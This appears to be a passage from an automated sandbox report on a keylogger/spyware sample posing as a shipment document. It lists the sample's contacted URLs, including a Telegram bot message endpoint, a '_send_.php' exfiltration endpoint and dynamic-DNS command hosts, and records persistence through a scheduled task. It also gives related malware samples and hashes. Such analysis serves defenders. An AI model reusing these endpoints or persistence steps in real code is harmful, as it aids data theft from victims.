https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003E71000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003E9E000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003F95000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003CCD000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003D42000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003CFA000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.0000000004192000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.00000000043E4000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.0000000004148000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.00000000042C1000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.000000000411D000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.00000000042EC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org/q	rShipmentDocuments.exe, 00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4134245226.0000000000434000.00000040.00000400.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 0000000A.00000002.1768004359.000000000390E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore?hl=enlB	rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002DCF000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003220000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.galapagosdesign.com/DPlease	rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fonts.com	rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sandoll.co.kr	rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	rShipmentDocuments.exe, 00000000.00000002.1728733569.0000000003327000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002C11000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 0000000A.00000002.1765638038.0000000002867000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003061000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sakkal.com	rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000000.00000002.1732739844.0000000005DA4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/	rShipmentDocuments.exe, 00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002C62000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4134245226.0000000000434000.00000040.00000400.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 0000000A.00000002.1768004359.000000000390E000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.00000000030B2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.office.com/	ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003256000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003247000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://www.apache.org/licenses/LICENSE-2.0	rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://www.fontbureau.com	rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org	rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002C11000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003061000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003EE4000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003E96000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003FBA000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002D1A000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003D67000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003D40000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003CF2000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.00000000042E6000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.000000000316B000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.00000000041B7000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.0000000004334000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.0000000004409000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.0000000004190000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.0000000004142000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=	rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002CF7000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003148000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse	unknown
http://crl.microsoft.c62	ZOlmYtPdlO.exe, 00000010.00000002.4153230560.00000000068E0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.carterandcone.coml	rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://aborters.duckdns.org:8081	rShipmentDocuments.exe, 00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002C11000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4134245226.0000000000434000.00000040.00000400.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 0000000A.00000002.1768004359.000000000390E000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003061000.00000004.00000800.00020000.00000000.sdmp	false	14%, Virustotal, Browse	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn	rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://51.38.247.67:8081/_send_.php?L	rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002D1A000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.00000000031E3000.00000004.00000800.00020000.00000000.sdmp	false	7%, Virustotal, Browse	unknown
https://reallyfreegeoip.org/xml/8.46.123.33$	rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002C8C000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002CF7000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003148000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003121000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.00000000030DC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anotherarmy.dns.army:8081	rShipmentDocuments.exe, 00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002C11000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4134245226.0000000000434000.00000040.00000400.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 0000000A.00000002.1768004359.000000000390E000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003061000.00000004.00000800.00020000.00000000.sdmp	false	18%, Virustotal, Browse	unknown
http://www.jiyu-kobo.co.jp/	rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org	rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002CD1000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002C62000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4137543225.0000000002CF7000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003148000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.00000000030B2000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4137318627.0000000003121000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	rShipmentDocuments.exe, 00000000.00000002.1732905140.0000000007492000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003E71000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003E9E000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003F95000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003CCD000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003D42000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4144409501.0000000003CFA000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.0000000004192000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.00000000043E4000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.0000000004148000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.00000000042C1000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.000000000411D000.00000004.00000800.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 00000010.00000002.4144404261.00000000042EC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	rShipmentDocuments.exe, 00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, rShipmentDocuments.exe, 00000009.00000002.4134245226.0000000000434000.00000040.00000400.00020000.00000000.sdmp, ZOlmYtPdlO.exe, 0000000A.00000002.1768004359.000000000390E000.00000004.00000800.00020000.00000000.sdmp	false	7%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
185.230.141.85	unknown	Russian Federation	59504	HostingvpsvilleruRU	true
188.114.96.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true
132.226.247.73	checkip.dyndns.com	United States	16989	UTMEMUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1531471
Start date and time:	2024-10-11 09:34:20 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	rShipmentDocuments.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@25/15@3/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 173 Number of non-executed functions: 23
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:35:11	API Interceptor	8594808x Sleep call for process: rShipmentDocuments.exe modified
03:35:14	API Interceptor	33x Sleep call for process: powershell.exe modified
03:35:16	API Interceptor	6465190x Sleep call for process: ZOlmYtPdlO.exe modified
08:35:14	Task Scheduler	Run new task: ZOlmYtPdlO path: C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	z76ik.exe	Get hash	malicious	MassLogger RAT	Browse
	LOI SPECIFIFCATION.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	New Purchase Order Ref#0012573.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Swift Payment.pdf.exe	Get hash	malicious	MassLogger RAT	Browse
	SecuriteInfo.com.Win32.CrypterX-gen.28129.24663.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	up7bJYQosk.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	XbER2eIAaa.exe	Get hash	malicious	XWorm	Browse
	SP0npSA64a.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	ZfzNdscQNj.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	GYJ1zSOpOW.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
185.230.141.85	SecuriteInfo.com.Exploit.CVE-2017-11882.123.4528.19655.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
185.230.141.85	Bill of Lading.xls	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
188.114.96.3	DRAFT DOC2406656.bat.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sirr/five/fre.php
	lv961v43L3.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	863811cm.nyafka.top/video_RequestpacketUpdategeneratorPublic.php
	10092024150836 09.10.2024.vbe	Get hash	malicious	FormBook	Browse	www.airgame.store/ojib/
	Hesap-hareketleriniz.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/59fb/
	octux.exe.exe	Get hash	malicious	Unknown	Browse	servicetelemetryserver.shop/api/index.php
	bX8NyyjOFz.exe	Get hash	malicious	FormBook	Browse	www.rtprajalojago.live/2uvi/
	lWfpGAu3ao.exe	Get hash	malicious	FormBook	Browse	www.serverplay.live/71nl/
	sa7Bw41TUq.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/0r21/
	E_receipt.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/VO2TX
	QUOTATION_OCTQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	filetransfer.io/data-package/fOmsJ2bL/download

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	z76ik.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	z51NEWPO.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.97.3
	LOI SPECIFIFCATION.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	New Purchase Order Ref#0012573.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Swift Payment.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	SecuriteInfo.com.Win32.CrypterX-gen.28129.24663.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	up7bJYQosk.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	SP0npSA64a.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	GYJ1zSOpOW.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Vn2TyKMJUW.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
checkip.dyndns.com	z76ik.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	z51NEWPO.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	158.101.44.242
	LOI SPECIFIFCATION.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	New Purchase Order Ref#0012573.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	Swift Payment.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	SecuriteInfo.com.Win32.CrypterX-gen.28129.24663.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	up7bJYQosk.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	SP0npSA64a.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	GYJ1zSOpOW.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	Vn2TyKMJUW.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
api.telegram.org	z76ik.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	LOI SPECIFIFCATION.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	New Purchase Order Ref#0012573.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Swift Payment.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	SecuriteInfo.com.Win32.CrypterX-gen.28129.24663.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	up7bJYQosk.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	XbER2eIAaa.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	SP0npSA64a.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	ZfzNdscQNj.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	GYJ1zSOpOW.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	z76ik.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	LOI SPECIFIFCATION.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	New Purchase Order Ref#0012573.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Swift Payment.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	SecuriteInfo.com.Win32.CrypterX-gen.28129.24663.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	up7bJYQosk.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	XbER2eIAaa.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	SP0npSA64a.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	ZfzNdscQNj.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	149.154.167.220
	GYJ1zSOpOW.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
HostingvpsvilleruRU	SecuriteInfo.com.Exploit.CVE-2017-11882.123.4528.19655.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	185.230.141.85
	Bill of Lading.xls	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	185.230.141.85
	LisectAVT_2403002A_149.exe	Get hash	malicious	Amadey	Browse	80.76.42.67
	am.exe	Get hash	malicious	Amadey	Browse	80.76.42.67
	a.exe	Get hash	malicious	Amadey	Browse	80.76.42.67
	kdevtmpfsi	Get hash	malicious	Xmrig	Browse	185.156.179.225
	x86.elf	Get hash	malicious	Unknown	Browse	185.246.118.197
	arm7.elf	Get hash	malicious	Mirai	Browse	185.246.118.198
	WKKdXepXFi.elf	Get hash	malicious	Mirai	Browse	185.246.118.187
	c8O3JEibrM.elf	Get hash	malicious	Mirai	Browse	185.246.118.178
CLOUDFLARENETUS	l0T55kCdTI.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	ATT4416530006_Swissquote.htm	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	curriculo_OUTUBRO_2024_Bmd2xZtsZtjm7sO_curriculo_091024.LnK.lnk	Get hash	malicious	Unknown	Browse	172.67.200.173
	X_VISUALIZAR_MANDADO_0427384.LnK.lnk	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	DRAFT DOC2406656.bat.exe	Get hash	malicious	Lokibot	Browse	188.114.96.3
	YtpxPCS4ke.elf	Get hash	malicious	Mirai	Browse	162.159.132.60
	View and Print Online.pdf	Get hash	malicious	Unknown	Browse	104.18.95.41
	Order160311_Reference.hta	Get hash	malicious	Azorult	Browse	104.21.14.133

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	SecuriteInfo.com.Variant.Lazy.153341.13263.18139.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	SecuriteInfo.com.Variant.Lazy.153341.13263.18139.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	z76ik.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	FMAudit.Installer_9652_1238001249.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	z51NEWPO.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	LOI SPECIFIFCATION.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	New Purchase Order Ref#0012573.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Swift Payment.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	SecuriteInfo.com.Win32.CrypterX-gen.28129.24663.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	up7bJYQosk.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
3b5074b1b5d032e5620f69f9f700ff0e	http://kale.amwebsolution.com/yuop/66c323e1543cd_ffrs.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://wav-installers.s3.amazonaws.com/Stubs/WaveBrowser_Stub-v1.5.18.3-wpf.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Kevin Burrell shared 'Team A Pictures and Presentation' in 'Eric Meyn's Workspace' with you.msg	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://www.canva.com/design/DAGTGtfEYnw/CziuYyD8EEWyTr61OD4BbQ/edit?utm_content=DAGTGtfEYnw&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutto	Get hash	malicious	HtmlDropper	Browse	149.154.167.220
	36.msi	Get hash	malicious	Numando	Browse	149.154.167.220
	33.msi	Get hash	malicious	Numando	Browse	149.154.167.220
	QbAwyjyAk3.lnk	Get hash	malicious	Numando	Browse	149.154.167.220
	btm4e0L3pw.lnk	Get hash	malicious	Numando	Browse	149.154.167.220
	26.msi	Get hash	malicious	Numando	Browse	149.154.167.220
	Untitled.eml	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220

Process:	C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rShipmentDocuments.exe.log

Download File

Process:	C:\Users\user\Desktop\rShipmentDocuments.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
